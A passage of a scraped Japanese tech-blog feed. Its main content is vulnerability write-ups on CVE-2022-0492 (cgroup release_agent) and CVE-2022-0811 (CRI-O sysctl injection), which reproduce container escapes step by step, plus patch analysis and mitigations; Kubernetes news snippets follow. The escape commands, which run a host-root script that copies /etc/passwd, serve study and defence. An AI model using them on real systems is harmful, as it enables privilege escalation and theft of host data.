system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","link":"https://speakerdeck.com/bells17/cluster-autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\\rhttps://k8sjp.connpass.com/event/240993/\\r\\r配信URL:\\rhttps://youtu.be/KOrantQgXkI?t=2258","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"Pandocカスタムライター入門1: 